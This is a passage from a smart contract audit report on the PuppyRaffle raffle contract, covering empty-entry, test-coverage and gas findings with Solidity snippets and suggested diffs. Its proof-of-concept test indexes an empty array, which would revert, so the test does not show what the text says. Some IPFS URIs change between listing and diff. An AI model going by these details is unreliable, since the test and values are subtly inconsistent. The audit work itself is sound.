The function will then emit:

```
RaffleEnter(players);
```

### Impact

Allowing empty arrays does not directly result in loss of funds, but it allows callers to execute a meaningless raffle-entry transaction and emit a `RaffleEnter` event without adding any participants.

This can also produce unnecessary or misleading event entries for off-chain indexers and applications that use `RaffleEnter` events to track raffle participation.

## Proof of Concept

The following test demonstrates that `enterRaffle()` succeeds with zero players and zero ETH:

```
function testEnterRaffleWithEmptyPlayers() public {
 address[] memory players = new address[](0);
 puppyRaffle.enterRaffle{value: 0}(players);
 assertEq(puppyRaffle.players(0), address(0));
}
```

The transaction succeeds even though no player was entered into the raffle.

## Recommended Mitigation

Require at least one player to be provided before processing the raffle entry:

```
function enterRaffle(address[] memory newPlayers) public payable {
+ require(newPlayers.length > 0, "PuppyRaffle: Must enter at least one player");
 ...
}
```

## [I-3] Insufficient Test Coverage.

### Likelihood & Impact

Metric	Rating
Impact	LOW
Likelihood	MEDIUM
Severity	INFORMATIONAL

### Description:

The test suite does not provide complete coverage of the protocol's implementation. While line and statement coverage exceed `80%`, branch coverage is significantly lower, leaving several execution paths untested.

The current coverage is:

Test Coverage



```

+-----+-----+-----+-----+
+-----+
| File | % Lines | % Statements | % Branches | %
Funcs |
+=====+
+
| script/DeployPuppyRaffle.sol | 0.00% (0/4) | 0.00% (0/4) | 100.00% (0/0) | 0.00%
(0/1) |
|-----+-----+-----+-----+
+-----+
| src/PuppyRaffle.sol | 84.00% (63/75) | 84.71% (72/85) | 69.23% (18/26) | 80.00%
(8/10) |
|-----+-----+-----+-----+
+-----+
| test/PuppyRaffleTest.t.sol | 87.50% (14/16) | 91.67% (11/12) | 100.00% (1/1) | 80.00%
(4/5) |
|-----+-----+-----+-----+
+-----+
| Total | 81.05% (77/95) | 82.18% (83/101) | 70.37% (19/27) | 75.00%
(12/16) |
+-----+-----+-----+-----+
+-----+

```

Only 18 of 26 branches in `PuppyRaffle.sol` are covered, leaving approximately 31% of the contract's branches untested.

### Impact:

Insufficient test coverage reduces confidence that all important execution paths have been validated. Untested branches may contain security-relevant behavior such as failed transfers, invalid inputs, insufficient players, duplicate players, and other edge cases.

### Recommended Mitigation:

Increase test coverage of `PuppyRaffle`, with particular attention to the currently uncovered branches.

# Gas

## [G-1] State Variables Can Be Optimized Using `immutable` or `constant`.

### Description:

State variables that never change should be declared `immutable` or `constant` to reduce gas costs and enable compiler optimizations.

1. Found in `src/PuppyRaffle.sol` Line: 30

```
uint256 public raffleDuration;
```

The variable is initialized once in the constructor and never modified afterward.

```
constructor(uint256 _raffleDuration) {
 raffleDuration = _raffleDuration;
}
```

1. The following image URI variables are assigned fixed values.

```
string private commonImageUri = "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
string private rareImageUri = "ipfs://QmUPjADFGKmfhdTaNcWhp7VGk26h5jXDA7v3VtTnTLCw";
string private legendaryImageUri = "ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

**Impact: Using regular storage variables for values that never change can result in unnecessary gas consumption when those variables are accessed.**

### Recommended Mitigation:

For `PuppyRaffle::raffleDuration`, use `immutable` because its value is provided during deployment:

```
- uint256 public raffleDuration;
+ uint256 public immutable raffleDuration;
```

For the fixed image URIs, use `constant` because their values are known at compile time:

```

- string private commonImageUri = "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";

+ string private constant commonImageUri = "ipfs://
QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
- string private rareImageUri = "ipfs://QmUPjADFGKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
+ string private constant rareImageUri = "ipfs://QmUPjADFGKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";

- string private legendaryImageUri = "ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";

+ string private constant legendaryImageUri = "ipfs://
QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";

```

## [G-2] Repeated Array Length Access Inside Loop.

### Description:

`PuppyRaffle::enterRaffle` repeatedly accesses `newPlayers.length` in the loop condition:

#### 1 Found Instance

- Found in `src/PuppyRaffle.sol` Line: 92

```

for (uint256 i = 0; i < newPlayers.length; i++) {
 ...
}

```

Because `newPlayers.length` does not change during loop execution, its value can be cached in a local variable before entering the loop. This avoids repeatedly reading the array length during each iteration and can slightly reduce gas consumption.

### Impact:

Repeatedly accessing the array length inside a loop can result in unnecessary gas consumption, particularly when the loop executes many iterations.

The optimization is small for individual calls but can become more significant when `enterRaffle` processes large batches of players.

### Recommended Mitigation:

Cache the array length in a local variable before the loop:

```

+ uint256 lenPlayers = newPlayers.length;
- for (uint256 i = 0; i < newPlayers.length; i++) {...}
+ for (uint256 i = 0; i < lenPlayers; i++) {...}

```

## [G-3] Functions Can Be Declared `external` Instead of `public`.

### Description:

`PuppyRaffle::enterRaffle` and `PuppyRaffle::refund` are declared as `public`, but neither function is called internally by the contract.

Functions that are only intended to be called from outside the contract should be declared `external` instead of `public`.

The following instances were identified:

#### 2 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 88 `javascript` function `enterRaffle(address[] memory newPlayers) public payable { ... }`
- Found in `src/PuppyRaffle.sol` Line: 109 `javascript` function `refund(uint256 playerIndex) public { ... }`

### Impact:

Using `public` when a function is only called externally can result in unnecessary gas consumption and prevents the function from taking advantage of the more efficient external-call interface.

### Recommended Mitigation:

Change the functions from `public` to `external`.

For `enterRaffle`, the parameter can also be changed from `memory` to `calldata` because external functions can directly read arguments from `calldata` without copying the array into memory:

```
- function enterRaffle(address[] memory newPlayers) public payable { ... }
+ function enterRaffle(address[] calldata newPlayers) external payable { ... }
```

For `refund`:

```
- function refund(uint256 playerIndex) public { ... }
+ function refund(uint256 playerIndex) external { ... }
```

## Conclusion

The audit identified several security, reliability, and gas-efficiency issues within `PuppyRaffle`. The most significant concerns involve weak randomness, reentrancy, ETH transfer failures, and fee accounting.

The identified high- and medium-severity issues should be addressed before production deployment. Lower-severity and gas-related findings should also be considered to improve the protocol's reliability, maintainability, and efficiency.

Overall, the protocol would benefit from stronger randomness, safer ETH transfer patterns, improved access-control practices, and more comprehensive testing.